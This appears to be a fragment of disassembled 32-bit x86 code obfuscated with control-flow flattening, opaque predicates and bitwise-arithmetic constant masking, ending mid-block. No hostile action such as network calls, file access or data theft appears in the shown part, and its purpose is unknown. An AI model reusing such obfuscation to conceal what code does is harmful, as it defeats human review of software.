mov dword [ebp - 0x9c8], edx
mov esi, 0xffffffff
xor esi, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40ad879f
or esi, eax
mov eax, dword [ebp - 0x9c8]
or edx, 0x40ad879f
xor esi, 0xffffffff
and esi, edx
mov edx, ecx
and edx, ebx
xor ecx, ebx
or edx, ecx
mov ecx, eax
and ecx, esi
xor eax, esi
or ecx, eax
mov esi, edx
xor esi, 0xffffffff
and esi, 0xecdbb7c
mov ebx, 0xffffffff
xor ebx, 0xecdbb7c
and edx, ebx
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xecdbb7c
and ecx, ebx
or esi, edx
or eax, ecx
xor esi, eax
mov edx, edi
xor edx, 0xffffffff
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
mov eax, edi
and eax, ecx
or edx, eax
mov eax, 0xffffffff
xor eax, 0xdc8e240d
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x806dce53
or eax, edx
or ecx, 0x806dce53
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x9bc], eax
mov ebx, 0xffffffff
xor ebx, 0xdc8e240d
and ebx, 0x58541cf0
mov ecx, 0xffffffff
xor ecx, 0x58541cf0
mov edx, ecx
and edx, 0xdc8e240d
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x58541cf0
and ecx, 0xffffffff
or ebx, edx
or eax, ecx
xor ebx, eax
mov eax, edi
xor eax, 0xffffffff
mov edx, ebx
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x11d905fa
or eax, edx
or ecx, 0x11d905fa
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x9c4], eax
mov edx, esi
xor edx, 0xffffffff
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
mov eax, esi
and eax, ecx
mov ecx, dword [ebp - 0x9c4]
or edx, eax
mov dword [ebp - 0x9c0], edx
mov eax, 0xffffffff
xor eax, 0xdc8e240d
xor edx, eax
mov eax, dword [ebp - 0x9c0]
and edx, eax
mov eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x9a8], edx
xor ebx, 0xffffffff
mov edx, esi
xor edx, ebx
and edx, esi
mov dword [ebp - 0x9b0], edx
mov edx, eax
xor edx, 0xffffffff
mov esi, ecx
xor esi, 0xffffffff
mov dword [ebp - 0x9ac], esi
mov ebx, 0xffffffff
xor ebx, 0xe439ae07
mov esi, edx
and esi, 0xe439ae07
and eax, ebx
mov dword [ebp - 0x9b8], eax
mov eax, dword [ebp - 0x9ac]
and eax, 0xe439ae07
mov dword [ebp - 0x9b4], eax
mov eax, dword [ebp - 0x9b8]
and ecx, ebx
or esi, eax
mov eax, dword [ebp - 0x9b4]
or eax, ecx
mov ecx, dword [ebp - 0x9b0]
xor esi, eax
mov eax, dword [ebp - 0x9ac]
or edx, eax
mov eax, dword [ebp - 0x9a8]
xor edx, 0xffffffff
or ebx, 0xe439ae07
and edx, ebx
or esi, edx
mov edx, eax
and edx, ecx
xor eax, ecx
or edx, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xa759b28e
mov ebx, 0xffffffff
xor ebx, 0xa759b28e
and esi, ebx
mov eax, edx
xor eax, 0xffffffff
and eax, 0xa759b28e
and edx, ebx
or ecx, esi
or eax, edx
xor ecx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0xb78f7bc9
mov edx, 0xffffffff
xor edx, 0xb78f7bc9
and edi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xb78f7bc9
and edx, 0xffffffff
or esi, edi
or eax, edx
xor esi, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, esi
and edx, eax
xor esi, 0xffffffff
mov eax, ecx
and eax, esi
or edx, eax
xor edx, 0xffffffff
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x7e94ab77
or edx, ecx
or eax, 0x7e94ab77
xor edx, 0xffffffff
and edx, eax
mov eax, 0x9b8b998
mov ecx, 0xe1f0d805
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
xor edx, edx
sub edx, 0x94b018a9
sub edx, 0x1b863d32
add edx, 0x94b018a9
xor esi, esi
sub esi, edx
mov edx, ecx
add edx, esi
add edx, 0xf46319fb
add edx, 0x9571125e
sub edx, 0xf46319fb
add edx, 0x4215b0bb
sub edx, 1
sub edx, 0x4215b0bb
xor esi, esi
sub esi, 0x9571125e
add edx, esi
xor edi, edi
sub edi, 0x1b863d32
add edi, 0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov byte [ebp - 0x9e0], al
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, bl
and cl, ah
or dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and al, cl
or ah, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, 1
xor dl, 1
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov bh, ch
and bh, 1
mov byte [ebp - 0x9e2], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0x9e1], al
mov al, byte [ebp - 0x9e2]
or ah, al
mov al, byte [ebp - 0x9e1]
or bh, al
mov al, byte [ebp - 0x9e0]
xor ah, bh
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and cl, ch
or dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, bl
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
mov dh, bl
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dl, al
and dl, 0
and bh, ah
mov dh, ch
and dh, 0
and bl, ah
or dl, bh
or dh, bl
xor dl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or dl, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov ah, 1
xor ah, 1
mov al, bl
xor al, ah
and al, bl
mov byte [ebp - 0x9df], al
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov ah, dh
xor ah, 0xff
mov al, 1
xor al, 1
mov ch, 1
xor ch, 0
or ah, al
mov al, byte [ebp - 0x9df]
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x9db], ah
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x9da], dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x9dc], ah
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 0
and ah, 0
and al, dl
mov byte [ebp - 0x9de], al
mov al, ch
and al, 0
mov byte [ebp - 0x9dd], al
mov al, byte [ebp - 0x9de]
and cl, dl
or ah, al
mov al, byte [ebp - 0x9dd]
or al, cl
mov cl, byte [ebp - 0x9dc]
xor ah, al
mov al, byte [ebp - 0x9db]
or cl, ch
mov ch, byte [ebp - 0x9da]
xor cl, 0xff
or dl, 0
and cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x9d6], dl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x9d7], cl
and dl, 0
and al, cl
mov cl, byte [ebp - 0x9da]
mov byte [ebp - 0x9d9], al
mov al, ch
and al, 0
mov byte [ebp - 0x9d8], al
mov al, byte [ebp - 0x9d7]
and cl, al
mov al, byte [ebp - 0x9d9]
or dl, al
mov al, byte [ebp - 0x9d8]
or al, cl
mov cl, byte [ebp - 0x9d7]
xor dl, al
mov al, byte [ebp - 0x9d6]
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x9d5], al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ah, al
and ah, 0xff
and bl, cl
mov ch, dl
and ch, 0xff
and dh, cl
or ah, bl
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x9d5]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa84947c2
mov ecx, 0x66ca5ff8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov ebx, dword [ebp - 0x54]
mov ecx, ebx
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
mov eax, ebx
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or edx, eax
xor ebx, 0xffffffff
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xc37e1b09
or ebx, edx
or eax, 0xc37e1b09
xor ebx, 0xffffffff
and ebx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xa70], eax
mov esi, ebx
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xce9acc31
and eax, 0xce9acc31
and ecx, edx
mov edi, esi
and edi, 0xce9acc31
and ebx, edx
or eax, ecx
mov ecx, dword [ebp - 0xa70]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xce9acc31
and ecx, edx
or eax, ecx
mov dword [ebp - 0xa60], eax
mov eax, 0xffffffff
xor eax, 0x20000000
and eax, 0xb090e49e
mov edx, 0xffffffff
xor edx, 0xb090e49e
mov esi, edx
and esi, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xb090e49e
and edx, 0xffffffff
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
xor ecx, 0x20000000
and ecx, 0x20000000
mov esi, eax
and esi, ecx
xor eax, ecx
or esi, eax
mov edx, 0xffffffff
xor edx, 0x8c7d14fd
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x8c7d14fd
or edx, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf6b2bd0f
or eax, edx
or ecx, 0xf6b2bd0f
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x7f09efa
mov edi, 0xffffffff
xor edi, 0x7f09efa
mov ebx, edi
and ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x7f09efa
and edi, 0xffffffff
or ecx, ebx
or edx, edi
xor ecx, edx
xor ecx, 0xffffffff
xor ecx, 0x8c7d14fd
and ecx, 0x8c7d14fd
mov ebx, eax
xor ebx, 0xffffffff
mov dword [ebp - 0xa64], ebx
mov edi, ecx
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb8acc84f
and ebx, 0xb8acc84f
and eax, edx
mov dword [ebp - 0xa6c], eax
mov eax, edi
and eax, 0xb8acc84f
mov dword [ebp - 0xa68], eax
mov eax, dword [ebp - 0xa6c]
and ecx, edx
or ebx, eax
mov eax, dword [ebp - 0xa68]
or eax, ecx
mov ecx, dword [ebp - 0xa64]
xor ebx, eax
mov eax, dword [ebp - 0xa60]
or ecx, edi
xor ecx, 0xffffffff
or edx, 0xb8acc84f
and ecx, edx
or ebx, ecx
mov edx, esi
xor edx, 0xffffffff
mov ecx, eax
xor ecx, edx
and ecx, eax
mov edi, eax
xor edi, 0xffffffff
mov edx, esi
and edx, edi
xor esi, 0xffffffff
and eax, esi
or edx, eax
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov dword [ebp - 0xa34], eax
mov eax, 0xffffffff
xor eax, 0x8c7d14fd
and eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x8c7d14fd
or eax, ecx
mov dword [ebp - 0xa58], eax
mov ecx, ebx
xor ecx, 0xffffffff
and ecx, 0xb713cf6f
mov edx, 0xffffffff
xor edx, 0xb713cf6f
mov esi, ebx
and esi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xb713cf6f
and edx, 0xffffffff
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, 0xffffffff
xor eax, 0xc4131b07
and eax, 0xf58a2f06
mov edi, 0xffffffff
xor edi, 0xf58a2f06
mov edx, edi
and edx, 0xc4131b07
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xf58a2f06
and edi, 0xffffffff
or eax, edx
mov edx, dword [ebp - 0xa58]
or esi, edi
xor eax, esi
mov dword [ebp - 0xa4c], eax
mov esi, 0xffffffff
xor esi, 0xc4131b07
mov edi, edx
xor edi, esi
and edi, edx
mov edx, eax
xor edx, 0xffffffff
xor edx, 0x8c7d14fd
and edx, 0x8c7d14fd
mov dword [ebp - 0xa5c], edx
mov esi, 0xffffffff
xor esi, 0xc4131b07
mov edx, ecx
xor edx, esi
and edx, ecx
xor ebx, 0xffffffff
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x2bc94b26
or ebx, eax
mov eax, dword [ebp - 0xa5c]
or esi, 0x2bc94b26
xor ebx, 0xffffffff
and ebx, esi
mov esi, edi
and esi, eax
xor edi, eax
mov eax, dword [ebp - 0xa58]
or esi, edi
mov edi, edx
and edi, ebx
xor edx, ebx
or edi, edx
mov ebx, esi
xor ebx, 0xffffffff
mov edx, edi
and edx, ebx
xor edi, 0xffffffff
and esi, edi
or edx, esi
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0xa48], esi
mov ebx, ecx
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xe1fc5b71
and esi, 0xe1fc5b71
and eax, edi
mov dword [ebp - 0xa54], eax
mov eax, ebx
and eax, 0xe1fc5b71
mov dword [ebp - 0xa50], eax
mov eax, dword [ebp - 0xa54]
and ecx, edi
or esi, eax
mov eax, dword [ebp - 0xa50]
or eax, ecx
mov ecx, dword [ebp - 0xa4c]
xor esi, eax
mov eax, dword [ebp - 0xa48]
or eax, ebx
xor eax, 0xffffffff
or edi, 0xe1fc5b71
and eax, edi
or esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xffffffff
and esi, edi
or eax, esi
mov dword [ebp - 0xa3c], eax
mov esi, 0xffffffff
xor esi, 0xc4131b07
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xa38], eax
mov ebx, 0xffffffff
xor ebx, 0xc36b8ac2
mov edi, esi
and edi, 0xc36b8ac2
mov eax, ebx
and eax, 0xc4131b07
mov dword [ebp - 0xa44], eax
mov eax, dword [ebp - 0xa38]
and eax, 0xc36b8ac2
mov dword [ebp - 0xa40], eax
mov eax, dword [ebp - 0xa44]
and ecx, ebx
or edi, eax
mov eax, dword [ebp - 0xa40]
or eax, ecx
mov ecx, dword [ebp - 0xa3c]
xor edi, eax
mov eax, dword [ebp - 0xa38]
or esi, eax
mov eax, dword [ebp - 0xa34]
xor esi, 0xffffffff
or ebx, 0xc36b8ac2
and esi, ebx
or edi, esi
xor edi, 0xffffffff
mov esi, ecx
xor esi, edi
and esi, ecx
mov ecx, edx
and ecx, esi
xor edx, esi
or ecx, edx
mov dword [ebp - 0xa28], ecx
mov ebx, eax
xor ebx, 0xffffffff
and ebx, 0xc2afadee
mov edx, 0xffffffff
xor edx, 0xc2afadee
mov esi, eax
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xc2afadee
and edx, 0xffffffff
or ebx, esi
or ecx, edx
xor ebx, ecx
xor ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
or edx, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x46c2fa38
or eax, edx
or ecx, 0x46c2fa38
xor eax, 0xffffffff
and eax, ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xd60fd61f
mov edx, ecx
and edx, 0xd60fd61f
and ebx, esi
mov dword [ebp - 0xa30], ebx
mov ebx, edi
and ebx, 0xd60fd61f
and eax, esi
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0xa30]
or edx, eax
mov eax, dword [ebp - 0xa2c]
or ebx, eax
mov eax, dword [ebp - 0xa28]
xor edx, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0xd60fd61f
and ecx, esi
or edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov ecx, edx
xor ecx, 0xffffffff
mov eax, esi
and eax, ecx
xor esi, 0xffffffff
mov ecx, edx
and ecx, esi
or eax, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf8e2fb8
or eax, edx
or ecx, 0xf8e2fb8
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4d], al
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
xor esi, esi
sub esi, 0xe4e9c889
sub esi, 1
add esi, 0xe4e9c889
xor edx, edx
sub edx, esi
xor edi, edi
sub edi, edx
xor esi, esi
sub esi, 0xd7cc1350
mov edx, eax
sub edx, esi
xor esi, esi
sub esi, edi
sub edx, esi
xor esi, esi
sub esi, 0xd7cc1350
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl dh
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov cl, ah
and cl, dl
xor ah, 0xff
mov dl, al
and dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov bl, al
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, bl
or ah, ch
xor cl, ah
xor cl, 0xff
mov bh, dh
xor bh, cl
and bh, dh
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, al
and cl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x465a11f5
mov ecx, 0x36cf3ca1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
mov edx, ecx
sub edx, 0x62320eb4
add edx, 0xdc0efe21
add edx, 0x62320eb4
sub edx, 0xe6cbc290
sub edx, 0x109c6453
add edx, 0xe6cbc290
add edx, 0x6274ed70
sub edx, 0xdc0efe21
sub edx, 0x6274ed70
xor esi, esi
sub esi, 0x971223e2
sub esi, 1
add esi, 0x971223e2
add edx, 0x12d26dc6
add edx, esi
sub edx, 0x12d26dc6
sub edx, 0xc57e1ba1
sub edx, 0xd8c87443
add edx, 0xc57e1ba1
xor esi, esi
sub esi, 0x109c6453
sub edx, esi
add edx, 0xf94ae948
add edx, 0xd8c87443
sub edx, 0xf94ae948
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl dh
mov bh, dl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or bh, al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov ch, dh
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov byte [ebp - 0xa75], cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and bh, ch
mov byte [ebp - 0xa77], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0xa76], al
mov al, byte [ebp - 0xa77]
or ah, al
mov al, byte [ebp - 0xa76]
or bh, al
mov al, byte [ebp - 0xa75]
xor ah, bh
or cl, bl
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, 1
xor bl, 1
and bl, 0
mov ah, 1
xor ah, 0
mov bh, ah
and bh, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bl, bh
or al, ah
xor bl, al
mov ah, bl
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov dl, dh
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
mov ah, dh
and ah, bh
or dl, ah
xor dl, 0xff
mov bh, 1
xor bh, 1
mov ah, 1
xor ah, 1
or dl, bh
or ah, 1
xor dl, 0xff
and dl, ah
xor bl, 0xff
mov ah, dh
xor ah, bl
and ah, dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xa73], bh
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and bh, 0
mov byte [ebp - 0xa74], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xa72], al
mov al, byte [ebp - 0xa74]
or al, cl
mov cl, byte [ebp - 0xa73]
mov byte [ebp - 0xa71], al
mov al, byte [ebp - 0xa72]
or bh, al
mov al, byte [ebp - 0xa71]
xor al, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b89d20
mov ecx, 0x76da734f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
xor edi, edi
sub edi, 0xbcd429eb
add edi, 0
xor esi, esi
sub esi, eax
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov edi, 0x1e06899e
add edi, 0
sub edi, 1
sub edi, 0x1e06899e
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
add esi, 0
xor edx, edx
sub edx, 0xdbc372ff
sub edx, 0xbcd429eb
add edx, 0xdbc372ff
sub esi, 0x6938e5a
add esi, edx
add esi, 0x6938e5a
xor edx, edx
sub edx, 0xcecdd68f
sub edx, esi
add edx, 0xcecdd68f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl ch
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ah, cl
mov dh, ch
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov bl, ch
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, bl
or cl, dl
xor dh, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov dl, ah
and dl, dh
xor ah, dh
or dl, ah
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov byte [ebp - 0xa7f], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or dl, cl
mov bh, 1
xor bh, 0
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
or ah, cl
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
mov bl, ch
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or cl, bl
or dl, dh
xor cl, dl
xor cl, 0xff
mov dh, 1
xor dh, 0
mov dl, 1
xor dl, 1
or cl, dh
or dl, 1
xor cl, 0xff
and cl, dl
xor ch, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or ch, ah
or dl, 0
xor ch, 0xff
and ch, dl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, ah
and dl, 0xff
and bh, dh
mov byte [ebp - 0xa81], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0xa80], al
mov al, byte [ebp - 0xa81]
or dl, al
mov al, byte [ebp - 0xa80]
or bh, al
mov al, byte [ebp - 0xa7f]
xor dl, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or dl, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or dl, ah
mov byte [ebp - 0xa7b], dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov ah, cl
and ah, ch
or dh, ah
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, bl
or ah, ch
